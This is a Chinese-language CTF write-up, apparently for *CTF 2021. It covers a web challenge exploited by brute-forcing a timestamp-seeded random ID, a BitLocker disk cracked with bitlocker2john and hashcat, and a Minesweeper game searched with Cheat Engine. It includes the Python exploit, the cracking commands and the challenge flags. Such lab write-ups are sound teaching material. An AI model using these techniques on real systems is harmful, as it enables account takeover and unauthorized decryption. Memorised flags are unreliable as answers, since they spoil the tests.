web
oh-my-note
从源码可以看出session 是经过两次随机进行设置,首先随机取得user_id,在通过user_id和提交的时间取得note_id
看到 view路由
可以发现我们可以通过这个公开页面获得note_id
网页中恰好也给到了admin 的note_id
而我们发现在my_notes 这个路由我们有两种方式看到提交的note
一种session,另一种是GET请求发送user_id
很明显,题目意思要求爆破user_id
创建用户和提交时间可能存在几毫秒的偏差
源码中采用的是UTC时间,
格林威治标准时间与北京时间差了8小时
因此在爆破时多加8,提交的时间是2点29
由此得出exp
import string
import random
import os
import datetime
def get_random_id():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])
for i in range(60):
for j in range(10000):
t = datetime.datetime(2021,1,15,10,29).timestamp()+i+j/10000
timestamp=round(t,4)
print(timestamp)
random.seed(timestamp)
user_id=get_random_id()
post_at=datetime.datetime.fromtimestamp(timestamp,tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
random.seed(user_id+post_at)
note_id=get_random_id()
if note_id =='lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u':
print(post_at)
print(user_id)
os._exit(0)
#7bdeij4oiafjdypqyrl2znwk7w9lulgn
flag就在my secret中
MISC
liitletricks
windows磁盘
010打开是vhdx文件
挂载后发现是个加密的磁盘
john
bitlocker2john
这个工具kali自带
bitlocker2john -i ll2.vhdx
这里采取第二种攻击方式
复制到hash当中去
hashcat
也可用john,但是hashcat更加快速
hashcat详细使用
得知Bitlocker是22100
hashcat.exe -m 22100 H:\XCTF\2021\startctf\misc\liitletricks\hash H:\web工具\字典\弱密码\pass.txt
得出密码12345678
里面啥也没用,试试磁盘恢复工具
用R-TUDIO恢复神器当然这里也可用DiskGenius
我之所以喜欢R-TUDIO,是因为他是免费,无论多大都能恢复
看到有个PDF
后面隐藏的就是flag
硬要拉出来也可以
去上面那个网站转成ppt
MineGame
装好所需要的的工具后,打开是扫雷,但是过几秒会自动关闭
用外挂CE淦
将进程暂停,他就不会自动关闭了
然后用CE搜索字符串
先将*CTF用hex转换
这样搜
*CTF{Y0u_41e-gLeat_6Oy3!}